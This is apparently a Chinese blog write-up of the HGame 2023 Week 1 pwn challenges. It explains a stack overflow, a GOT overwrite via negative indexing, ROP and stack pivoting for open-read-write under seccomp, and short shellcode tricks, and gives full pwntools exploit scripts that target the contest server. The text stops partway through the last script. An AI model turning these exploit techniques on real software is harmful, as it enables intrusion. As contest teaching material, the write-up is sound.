HGame Week1 PWN WriteUp

Wednesday, January 18, 2023
本文共5075字
11分钟阅读时长

⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/hgame-week1-pwn-writeup/。商业转载请联系作者获得授权,非商业转载请注明出处!

The greatest healing therapy is friendship and love. — Hubert Humphrey

test_nc

nc连上远程直接cat flag

easy_overflow

checksec

文内图片

ida

文内图片

简单的栈溢出,唯一需要注意的是在get shell前将标准输出流关掉了,但我们可以用shell命令中的重定向将标准输出流重定向到标准错误流:

exec 1>&2
cat flag

就可以了

文内图片

exp

# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes

pss: bool = True
fn: str = "./HGame-vuln"
libc_name:str = "/lib/x86_64-linux-gnu/libc.so.6"
port: str = "30818"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if pss:
    p = remote("week-1.hgame.lwsec.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                        break main
                        c
                        """)
    else:
        p = process(fn)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)

def suclog(**kwargs):
    for k in args:
        v = globals()[k]
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    for k, v in kwargs.items():
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    
def send_after_clean(content: bytes = b"", until: bytes = None,\
                     timeout: float = 0.05, no_show: bool = True):
    if until is not None:
        p.recvuntil(flat(until))
    else:
        received = p.clean(timeout)
        if not no_show:
            print(f"[$]received:\n{received.decode('UTF-8')}")
    p.send(flat(content))


def sendline_after_clean(content: bytes = b"", until: bytes = None,\
                         timeout: float = 0.05, no_show: bool = True):
    send_after_clean([content, p.newline], until, timeout, no_show)
    
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
    received = p.clean(timeout)
    if not no_show:
        print(f"[$]received:\n{received}")
    p.interactive()

def c_val(value: int, c_type: string) -> bytes:
    type_dict = {
        "long": ctypes.c_long,
        "longlong": ctypes.c_longlong,
        "ulong": ctypes.c_ulong,
        "ulonglong": ctypes.c_ulonglong,
        "int8": ctypes.c_int8,
        "int16": ctypes.c_int16,
        "int32": ctypes.c_int32,
        "int64": ctypes.c_int64,
        "uint8": ctypes.c_uint8,
        "uint16": ctypes.c_uint16,
        "uint32": ctypes.c_uint32,
        "uint64": ctypes.c_uint64,
        "int": ctypes.c_int,
        "char": ctypes.c_char,
        "bool": ctypes.c_bool,
        "float": ctypes.c_float,
        "double": ctypes.c_double,
        "ushort": ctypes.c_ushort,
        "byte": ctypes.c_byte,
        "longdouble": ctypes.c_longdouble,
        "size_t": ctypes.c_size_t,
        "ssize_t": ctypes.c_ssize_t,
        "ubyte": ctypes.c_ubyte
    }
    try:
        return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
    except:
        try:
            return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
        except:
            error(f"无法转换{value}或不存在类型{c_type}")
        
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
    return ctypes.CDLL(libc_name, args, kwargs)
    
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
    is_canary: bool = False, bound: str = None) -> int:
    if prev_string is not None:
        p.recvuntil(flat(prev_string))
    if bound is not None:
        bound = flat(bound)
    if from_bytes:
        if bound is not None:
            return ug(p.recvuntil(bound)[:-len(bound)])
        if if_32:
            return ug(p.recv(4))
        else:
            if is_canary:
                return ug(p.recv(7).rjust(8, b"\x00"))
            else:
                return ug(p.recv(6).ljust(8, b"\x00"))
    else:
        if bound is not None:
            return int(p.recvuntil(bound)[:-len(bound)], 16)
        else:
            if if_32:
                return int(p.recv(10), 16)
            else:
                if is_canary:
                    return int(p.recv(18), 16)
                else:
                    return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
    if isinstance(formula, bytes):
        formula = formula.decode("UTF-8")
    formula = formula.strip()
    formula = formula.strip("\n")
    formula = formula.replace("x", "*")
    formula = formula.replace("^", "**")
    formula = formula.replace("÷", "/")
    if not precise:
        formula = formula.replace("//", "/")
        formula = formula.replace("/", "//")
    return bytes(str(eval(formula)), encoding="UTF-8")
...


offset: int = 0x18
backdoor = 0x401176
ret = 0x000000000040101a
payload = flat({offset:[
    ret,
    backdoor
]})
sendline_after_clean(payload)
    
interactive_after_clean()

choose_the_seat

checksec

文内图片

ida

文内图片

非常明显地,输入负数可以更改seats上方的任意数据

我们可以考虑修改got表,目标是把puts的got值改成system的地址,但这首先需要泄露libc,我们可以考虑把exit的got值改成main函数的地址,然后就可以操作多次,就可以泄露libc后更改puts的got

exp

# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes

pss: bool = True
fn: str = "./HGame-choose_the_seat"
libc_name: str = "libc-2.31.so"
port: str = "31653"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if pss:
    p = remote("week-1.hgame.lwsec.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                        break main
                        c
                        """)
    else:
        p = process(fn)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)

def suclog(*args, **kwargs):
    for k in args:
        v = globals()[k]
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    for k, v in kwargs.items():
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    
def send_after_clean(content: bytes = b"", until: bytes = None,\
                     timeout: float = 0.05, no_show: bool = True):
    if until is not None:
        p.recvuntil(flat(until))
    else:
        received = p.clean(timeout)
        if not no_show:
            print(f"[$]received:\n{received.decode('UTF-8')}")
    p.send(flat(content))


def sendline_after_clean(content: bytes = b"", until: bytes = None,\
                         timeout: float = 0.05, no_show: bool = True):
    send_after_clean([content, p.newline], until, timeout, no_show)
    
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
    received = p.clean(timeout)
    if not no_show:
        print(f"[$]received:\n{received}")
    p.interactive()

def c_val(value: int, c_type: string) -> bytes:
    type_dict = {
        "long": ctypes.c_long,
        "longlong": ctypes.c_longlong,
        "ulong": ctypes.c_ulong,
        "ulonglong": ctypes.c_ulonglong,
        "int8": ctypes.c_int8,
        "int16": ctypes.c_int16,
        "int32": ctypes.c_int32,
        "int64": ctypes.c_int64,
        "uint8": ctypes.c_uint8,
        "uint16": ctypes.c_uint16,
        "uint32": ctypes.c_uint32,
        "uint64": ctypes.c_uint64,
        "int": ctypes.c_int,
        "char": ctypes.c_char,
        "bool": ctypes.c_bool,
        "float": ctypes.c_float,
        "double": ctypes.c_double,
        "ushort": ctypes.c_ushort,
        "byte": ctypes.c_byte,
        "longdouble": ctypes.c_longdouble,
        "size_t": ctypes.c_size_t,
        "ssize_t": ctypes.c_ssize_t,
        "ubyte": ctypes.c_ubyte
    }
    try:
        return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
    except:
        try:
            return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
        except:
            error(f"无法转换{value}或不存在类型{c_type}")
        
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
    return ctypes.CDLL(libc_name, args, kwargs)
    
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
    is_canary: bool = False, bound: str = None) -> int:
    if prev_string is not None:
        p.recvuntil(flat(prev_string))
    if bound is not None:
        bound = flat(bound)
    if from_bytes:
        if bound is not None:
            return ug(p.recvuntil(bound)[:-len(bound)])
        if if_32:
            return ug(p.recv(4))
        else:
            if is_canary:
                return ug(p.recv(7).rjust(8, b"\x00"))
            else:
                return ug(p.recv(6).ljust(8, b"\x00"))
    else:
        if bound is not None:
            return int(p.recvuntil(bound)[:-len(bound)], 16)
        else:
            if if_32:
                return int(p.recv(10), 16)
            else:
                if is_canary:
                    return int(p.recv(18), 16)
                else:
                    return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
    if isinstance(formula, bytes):
        formula = formula.decode("UTF-8")
    formula = formula.strip()
    formula = formula.strip("\n")
    formula = formula.replace("x", "*")
    formula = formula.replace("^", "**")
    formula = formula.replace("÷", "/")
    if not precise:
        formula = formula.replace("//", "/")
        formula = formula.replace("/", "//")
    return bytes(str(eval(formula)), encoding="UTF-8")
...


sendline_after_clean(b"-6", "please choose one.\n")
send_after_clean(pg(0x4011D6))

sendline_after_clean(b"-9", "please choose one.\n")
send_after_clean(b"1"*7+b".", "please input your name\n")
puts_addr = recv_and_transform(b".")
base_addr = puts_addr - libc.sym['puts']
system_addr = base_addr + libc.sym['system']
one_gadget = base_addr + 0xe3afe

suclog(
    base_addr=base_addr
)

sendline_after_clean(b"-9", "please choose one.\n")
send_after_clean(b"/bin/sh\x00" + pg(system_addr), "please input your name\n")
    
interactive_after_clean()

orw

checksec

文内图片

ida

文内图片

程序禁掉了execve和execveat:

文内图片

因为偏移量是0x108,能输入0x130个字符,所以只能执行五条指令:

文内图片

法一:ret2libc后栈迁移

因为原来的空间不够,我们可以考虑栈迁移到bss_end + 0x100的地方,然后就可以随便orw了

# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes

pss: bool = False
fn: str = "./HGame-orw"
libc_name:str = "./libc-2.31.so"
port: str = "30527"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if pss:
    p = remote("week-1.hgame.lwsec.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                        break vuln
                        c
                        """)
    else:
        p = process(fn)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)

def suclog(*args, **kwargs):
    for k in args:
        v = globals()[k]
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    for k, v in kwargs.items():
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    
def send_after_clean(content: bytes = b"", until: bytes = None,\
                     timeout: float = 0.05, no_show: bool = True):
    if until is not None:
        p.recvuntil(flat(until))
    else:
        received = p.clean(timeout)
        if not no_show:
            print(f"[$]received:\n{received.decode('UTF-8')}")
    p.send(flat(content))


def sendline_after_clean(content: bytes = b"", until: bytes = None,\
                         timeout: float = 0.05, no_show: bool = True):
    send_after_clean([content, p.newline], until, timeout, no_show)
    
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
    received = p.clean(timeout)
    if not no_show:
        print(f"[$]received:\n{received}")
    p.interactive()

def c_val(value: int, c_type: string) -> bytes:
    type_dict = {
        "long": ctypes.c_long,
        "longlong": ctypes.c_longlong,
        "ulong": ctypes.c_ulong,
        "ulonglong": ctypes.c_ulonglong,
        "int8": ctypes.c_int8,
        "int16": ctypes.c_int16,
        "int32": ctypes.c_int32,
        "int64": ctypes.c_int64,
        "uint8": ctypes.c_uint8,
        "uint16": ctypes.c_uint16,
        "uint32": ctypes.c_uint32,
        "uint64": ctypes.c_uint64,
        "int": ctypes.c_int,
        "char": ctypes.c_char,
        "bool": ctypes.c_bool,
        "float": ctypes.c_float,
        "double": ctypes.c_double,
        "ushort": ctypes.c_ushort,
        "byte": ctypes.c_byte,
        "longdouble": ctypes.c_longdouble,
        "size_t": ctypes.c_size_t,
        "ssize_t": ctypes.c_ssize_t,
        "ubyte": ctypes.c_ubyte
    }
    try:
        return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
    except:
        try:
            return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
        except:
            error(f"无法转换{value}或不存在类型{c_type}")
        
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
    return ctypes.CDLL(libc_name, args, kwargs)
    
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
    is_canary: bool = False, bound: str = None) -> int:
    if prev_string is not None:
        p.recvuntil(flat(prev_string))
    if bound is not None:
        bound = flat(bound)
    if from_bytes:
        if bound is not None:
            return ug(p.recvuntil(bound)[:-len(bound)])
        if if_32:
            return ug(p.recv(4))
        else:
            if is_canary:
                return ug(p.recv(7).rjust(8, b"\x00"))
            else:
                return ug(p.recv(6).ljust(8, b"\x00"))
    else:
        if bound is not None:
            return int(p.recvuntil(bound)[:-len(bound)], 16)
        else:
            if if_32:
                return int(p.recv(10), 16)
            else:
                if is_canary:
                    return int(p.recv(18), 16)
                else:
                    return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
    if isinstance(formula, bytes):
        formula = formula.decode("UTF-8")
    formula = formula.strip()
    formula = formula.strip("\n")
    formula = formula.replace("x", "*")
    formula = formula.replace("^", "**")
    formula = formula.replace("÷", "/")
    if not precise:
        formula = formula.replace("//", "/")
        formula = formula.replace("/", "//")
    return bytes(str(eval(formula)), encoding="UTF-8")
...



# 查找gadget的内置函数
rop_gadget = ROP(m_elf)
pop_rdi_ret: int = rop_gadget.find_gadget(["pop rdi", "ret"])[0]
ret: int = rop_gadget.find_gadget(["ret"])[0]
suclog(
    pop_rdi_ret=pop_rdi_ret,
    ret=ret
)
    
#需要自行设定offset
offset:int = 0x108

# 需要改为需要的输入函数,默认为puts
puts_plt: int = m_elf.plt["puts"]
puts_got: int = m_elf.got["puts"]
vuln_addr: int = m_elf.sym["vuln"]
suclog(
    puts_plt=puts_plt,
    puts_got=puts_got,
    vuln_addr=vuln_addr
)

# 发送payload

payload = flat({offset:[
    pop_rdi_ret,
    puts_got,
    puts_plt,
    vuln_addr
]})
sendline_after_clean(payload)
# 得到真实地址
puts_addr:int = recv_and_transform()
       

# 计算得到基址和system地址

base_addr: int = puts_addr - libc.sym['puts']
system_addr: int = base_addr + libc.sym['system']
open_addr: int = base_addr + libc.sym['open']
read_addr: int = base_addr + libc.sym['read']
# puts_addr: int = base_addr + libc.sym['puts']
pop_rdi: int = base_addr + 0x0000000000023b6a
pop_rsi: int = base_addr + 0x2601f
pop_rdx: int = base_addr + 0x142c92
fake_stack = 0x404060 + 0x200
flag = fake_stack
flag_content = 0x404060 + 0x300
leave_ret = 0x00000000004012be
            
suclog(
    puts_addr=puts_addr,
    base_addr=base_addr,
    system_addr=system_addr,
    open_addr=open_addr,
    read_addr=read_addr,
    pop_rdi=pop_rdi,
    pop_rsi=pop_rsi,
    pop_rdx=pop_rdx,
)

# 注意栈对齐
payload = flat({offset-8:[
    fake_stack,
    pop_rsi, fake_stack,
    read_addr, leave_ret
]})
sendline_after_clean(payload)

payload = flat([
    "./flag\x00\x00",
    pop_rdi, flag,
    pop_rsi, 0,
    open_addr,
    pop_rdi, 3,
    pop_rsi, flag_content,
    pop_rdx, 0xff,
    read_addr,
    pop_rdi, flag_content,
    puts_addr,
])

sendline_after_clean(payload)

interactive_after_clean()

法二:ret2libc后更改rdx重新read

我们在ret2libc后可以考虑更改rdx再返回到vuln+0x1E处:

文内图片

然后就能栈溢出任意长字节了

然后我们再用read把"flag"读入一个可写的地址处,这样我们就能orw得到flag了

# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes

pss: bool = False
fn: str = "./HGame-orw"
libc_name:str = "./libc-2.31.so"
port: str = "30527"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if pss:
    p = remote("week-1.hgame.lwsec.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                        break vuln
                        c
                        """)
    else:
        p = process(fn)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)

def suclog(*args, **kwargs):
    for k in args:
        v = globals()[k]
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    for k, v in kwargs.items():
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    
def send_after_clean(content: bytes = b"", until: bytes = None,\
                     timeout: float = 0.05, no_show: bool = True):
    if until is not None:
        p.recvuntil(flat(until))
    else:
        received = p.clean(timeout)
        if not no_show:
            print(f"[$]received:\n{received.decode('UTF-8')}")
    p.send(flat(content))


def sendline_after_clean(content: bytes = b"", until: bytes = None,\
                         timeout: float = 0.05, no_show: bool = True):
    send_after_clean([content, p.newline], until, timeout, no_show)
    
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
    received = p.clean(timeout)
    if not no_show:
        print(f"[$]received:\n{received}")
    p.interactive()

def c_val(value: int, c_type: string) -> bytes:
    type_dict = {
        "long": ctypes.c_long,
        "longlong": ctypes.c_longlong,
        "ulong": ctypes.c_ulong,
        "ulonglong": ctypes.c_ulonglong,
        "int8": ctypes.c_int8,
        "int16": ctypes.c_int16,
        "int32": ctypes.c_int32,
        "int64": ctypes.c_int64,
        "uint8": ctypes.c_uint8,
        "uint16": ctypes.c_uint16,
        "uint32": ctypes.c_uint32,
        "uint64": ctypes.c_uint64,
        "int": ctypes.c_int,
        "char": ctypes.c_char,
        "bool": ctypes.c_bool,
        "float": ctypes.c_float,
        "double": ctypes.c_double,
        "ushort": ctypes.c_ushort,
        "byte": ctypes.c_byte,
        "longdouble": ctypes.c_longdouble,
        "size_t": ctypes.c_size_t,
        "ssize_t": ctypes.c_ssize_t,
        "ubyte": ctypes.c_ubyte
    }
    try:
        return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
    except:
        try:
            return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
        except:
            error(f"无法转换{value}或不存在类型{c_type}")
        
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
    return ctypes.CDLL(libc_name, args, kwargs)
    
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
    is_canary: bool = False, bound: str = None) -> int:
    if prev_string is not None:
        p.recvuntil(flat(prev_string))
    if bound is not None:
        bound = flat(bound)
    if from_bytes:
        if bound is not None:
            return ug(p.recvuntil(bound)[:-len(bound)])
        if if_32:
            return ug(p.recv(4))
        else:
            if is_canary:
                return ug(p.recv(7).rjust(8, b"\x00"))
            else:
                return ug(p.recv(6).ljust(8, b"\x00"))
    else:
        if bound is not None:
            return int(p.recvuntil(bound)[:-len(bound)], 16)
        else:
            if if_32:
                return int(p.recv(10), 16)
            else:
                if is_canary:
                    return int(p.recv(18), 16)
                else:
                    return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
    if isinstance(formula, bytes):
        formula = formula.decode("UTF-8")
    formula = formula.strip()
    formula = formula.strip("\n")
    formula = formula.replace("x", "*")
    formula = formula.replace("^", "**")
    formula = formula.replace("÷", "/")
    if not precise:
        formula = formula.replace("//", "/")
        formula = formula.replace("/", "//")
    return bytes(str(eval(formula)), encoding="UTF-8")
...



# 查找gadget的内置函数
rop_gadget = ROP(m_elf)
pop_rdi_ret: int = rop_gadget.find_gadget(["pop rdi", "ret"])[0]
ret: int = rop_gadget.find_gadget(["ret"])[0]
suclog(
    pop_rdi_ret=pop_rdi_ret,
    ret=ret
)
    
#需要自行设定offset
offset:int = 0x108

# 需要改为需要的输入函数,默认为puts
puts_plt: int = m_elf.plt["puts"]
puts_got: int = m_elf.got["puts"]
vuln_addr: int = m_elf.sym["vuln"]
suclog(
    puts_plt=puts_plt,
    puts_got=puts_got,
    vuln_addr=vuln_addr
)

# 发送payload

payload = flat({offset:[
    pop_rdi_ret,
    puts_got,
    puts_plt,
    vuln_addr
]})
sendline_after_clean(payload)
# 得到真实地址
puts_addr:int = recv_and_transform()
       

# 计算得到基址和system地址

base_addr: int = puts_addr - libc.sym['puts']
system_addr: int = base_addr + libc.sym['system']
open_addr: int = base_addr + libc.sym['open']
read_addr: int = base_addr + libc.sym['read']
# puts_addr: int = base_addr + libc.sym['puts']
pop_rdi: int = base_addr + 0x0000000000023b6a
pop_rsi: int = base_addr + 0x2601f
pop_rdx: int = base_addr + 0x142c92
fake_stack = 0x404060 + 0x200
flag = fake_stack
flag_content = 0x404060 + 0x300
leave_ret = 0x00000000004012be
            
suclog(
    puts_addr=puts_addr,
    base_addr=base_addr,
    system_addr=system_addr,
    open_addr=open_addr,
    read_addr=read_addr,
    pop_rdi=pop_rdi,
    pop_rsi=pop_rsi,
    pop_rdx=pop_rdx,
)

payload = flat({offset:[
    pop_rdx,
    0xffff,
    vuln_addr+0x1E
]})
sendline_after_clean(payload)

payload = flat({offset:[
    pop_rdi, 0,
    pop_rsi, flag,
    pop_rdx, 0xff,
    read_addr,
    pop_rdi, flag,
    pop_rsi, 0,
    pop_rdx, 0, 
    open_addr,
    pop_rdi, 3,
    pop_rsi, flag_content,
    pop_rdx, 0xff,
    read_addr,
    pop_rdi, flag_content,
    puts_addr,
]})

sendline_after_clean(payload)

sendline_after_clean(b"./flag\x00\x00")

interactive_after_clean()

simple_shellcode

checksec

文内图片

ida

文内图片

程序允许我们输入一个0x10字节长的shellcode并执行,同时禁掉了execve和execveat,然而一般的orw shellcode是不可能只有这么短的,所以我们必须从程序的上下文发现漏洞所在

法一:利用call的特性

我们可以利用call的特性,call会把下一条指令的地址push进栈中,因此我们可以利用栈中的数据跳转到main函数的任意位置

文内图片

我们跳转到这里,就可以read进0xcafe0000个字节:

文内图片

然后我们就可以输入orw的shellcode进行读写了:

# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes

pss: bool = True
fn: str = "./HGame-simple_shellcode"
libc_name: str = "/lib/x86_64-linux-gnu/libc.so.6"
port: str = "30295"
if_32: bool = False
if_debug: bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if pss:
    p = remote("week-1.hgame.lwsec.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                        b* $rebase(0x13BB)
                        c
                        """)
    else:
        p = process(fn)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)


def suclog(**kwargs):
    for k in args:
        v = globals()[k]
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    for k, v in kwargs.items():
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")


def send_after_clean(content: bytes = b"", until: bytes = None,
                     timeout: float = 0.05, no_show: bool = True):
    if until is not None:
        p.recvuntil(flat(until))
    else:
        received = p.clean(timeout)
        if not no_show:
            print(f"[$]received:\n{received.decode('UTF-8')}")
    p.send(flat(content))


def sendline_after_clean(content: bytes = b"", until: bytes = None,
                         timeout: float = 0.05, no_show: bool = True):
    send_after_clean([content, p.newline], until, timeout, no_show)


def interactive_after_clean(timeout: int = 0.05, no_show: bool = True):
    received = p.clean(timeout)
    if not no_show:
        print(f"[$]received:\n{received}")
    p.interactive()


def c_val(value: int, c_type: string) -> bytes:
    type_dict = {
        "long": ctypes.c_long,
        "longlong": ctypes.c_longlong,
        "ulong": ctypes.c_ulong,
        "ulonglong": ctypes.c_ulonglong,
        "int8": ctypes.c_int8,
        "int16": ctypes.c_int16,
        "int32": ctypes.c_int32,
        "int64": ctypes.c_int64,
        "uint8": ctypes.c_uint8,
        "uint16": ctypes.c_uint16,
        "uint32": ctypes.c_uint32,
        "uint64": ctypes.c_uint64,
        "int": ctypes.c_int,
        "char": ctypes.c_char,
        "bool": ctypes.c_bool,
        "float": ctypes.c_float,
        "double": ctypes.c_double,
        "ushort": ctypes.c_ushort,
        "byte": ctypes.c_byte,
        "longdouble": ctypes.c_longdouble,
        "size_t": ctypes.c_size_t,
        "ssize_t": ctypes.c_ssize_t,
        "ubyte": ctypes.c_ubyte
    }
    try:
        return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
    except:
        try:
            return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
        except:
            error(f"无法转换{value}或不存在类型{c_type}")


def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
    return ctypes.CDLL(libc_name, args, kwargs)


def recv_and_transform(prev_string: str = None, from_bytes: bool = True,
                       is_canary: bool = False, bound: str = None) -> int:
    if prev_string is not None:
        p.recvuntil(flat(prev_string))
    if bound is not None:
        bound = flat(bound)
    if from_bytes:
        if bound is not None:
            return ug(p.recvuntil(bound)[:-len(bound)])
        if if_32:
            return ug(p.recv(4))
        else:
            if is_canary:
                return ug(p.recv(7).rjust(8, b"\x00"))
            else:
                return ug(p.recv(6).ljust(8, b"\x00"))
    else:
        if bound is not None:
            return int(p.recvuntil(bound)[:-len(bound)], 16)
        else:
            if if_32:
                return int(p.recv(10), 16)
            else:
                if is_canary:
                    return int(p.recv(18), 16)
                else:
                    return int(p.recv(14), 16)


def formula_compute(formula: bytes, precise: bool = False):
    if isinstance(formula, bytes):
        formula = formula.decode("UTF-8")
    formula = formula.strip()
    formula = formula.strip("\n")
    formula = formula.replace("x", "*")
    formula = formula.replace("^", "**")
    formula = formula.replace("÷", "/")
    if not precise:
        formula = formula.replace("//", "/")
        formula = formula.replace("/", "//")
    return bytes(str(eval(formula)), encoding="UTF-8")


...

payload = flat([
    asm('''
mov rsi, rdx
sub qword ptr [rsp], 36
ret
        ''')
])
sendline_after_clean(payload)

# 生成orw的shellcode
payload = flat([
    asm(shellcraft.cat("./flag"))
])

sendline_after_clean(payload)

interactive_after_clean()

法二:直接syscall调用read覆盖指令

根据调用0xcafe0000前寄存器的状态:

文内图片

我们可以使用以下shellcode调用read:

xchg edx, esi
xchg r14d, edi
xchg r11d, edx
syscall

xchg 指令是 x86 汇编语言中的一条指令,它用于交换两个数据的值。它的语法一般是 xchg dest, src,表示将 src 和 dest 中的值交换。这两个参数可以是寄存器或内存地址。 例如,如果寄存器 eax 中存储着数值 4,寄存器 ebx 中存储着数值 5,那么执行 xchg eax, ebx 后,eax 将存储 5,ebx 将存储 4。 xchg 指令通常用于交换两个值,并且它不需要额外的寄存器,因此在多处理器环境中,xchg 指令也可以用来实现互斥锁 需要注意的是,xchg指令是原子的,即在其完成前不会被中断。这是因为 XCHG 指令的实现是通过硬件交换两个数据而不是通过读取和写入实现的,这意味着在这个指令完成之前不能被任何其他指令打断。

或者使用:

mov esi, edx
xor edi, edi
syscall

在 x86 汇编语言中,mov esi, edx 和 mov rsi, rdx 都是用来将寄存器 edx 的值赋给寄存器 esi (rsi)的指令。但这两条指令的二进制长度是不同的。 mov esi, edx 这条指令使用的是 32 位寄存器,它对应的二进制长度为 2 字节;而mov rsi, rdx 使用的是64位寄存器,二进制长度为3字节. 一般来说使用32位寄存器,shellcode会更短

然后使用nop滑板划到orw的shellcode:

payload = flat([
    asm("nop")*0x10,
    asm(shellcraft.cat("./flag"))
])

nop 指令是 x86 汇编语言中的一条指令,它代表 “no operation”,即不执行任何操作。在二进制中,它对应的是 0x90。 这个指令用于调整指令流程,如在程序执行前或执行后插入 NOP 指令来调整程序中的偏差。也可用于占位用,例如将指令按照预期的顺序分布。 在高级编程中,NOP指令也可能被用来作为指令重定位的起始位置或终止位置,研究和分析程序的指令流程。

完整exp:

# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes

pss: bool = False
fn: str = "./HGame-simple_shellcode"
libc_name: str = "/lib/x86_64-linux-gnu/libc.so.6"
port: str = "30295"
if_32: bool = False
if_debug: bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if pss:
    p = remote("week-1.hgame.lwsec.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                        b* $rebase(0x13BB)
                        c
                        """)
    else:
        p = process(fn)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)


def suclog(*args, **kwargs):
    for k in args:
        v = globals()[k]
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    for k, v in kwargs.items():
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")


def send_after_clean(content: bytes = b"", until: bytes = None,
                     timeout: float = 0.05, no_show: bool = True):
    if until is not None:
        p.recvuntil(flat(until))
    else:
        received = p.clean(timeout)
        if not no_show:
            print(f"[$]received:\n{received.decode('UTF-8')}")
    p.send(flat(content))


def sendline_after_clean(content: bytes = b"", until: bytes = None,
                         timeout: float = 0.05, no_show: bool = True):
    send_after_clean([content, p.newline], until, timeout, no_show)


def interactive_after_clean(timeout: int = 0.05, no_show: bool = True):
    received = p.clean(timeout)
    if not no_show:
        print(f"[$]received:\n{received}")
    p.interactive()


def c_val(value: int, c_type: string) -> bytes:
    type_dict = {
        "long": ctypes.c_long,
        "longlong": ctypes.c_longlong,
        "ulong": ctypes.c_ulong,
        "ulonglong": ctypes.c_ulonglong,
        "int8": ctypes.c_int8,
        "int16": ctypes.c_int16,
        "int32": ctypes.c_int32,
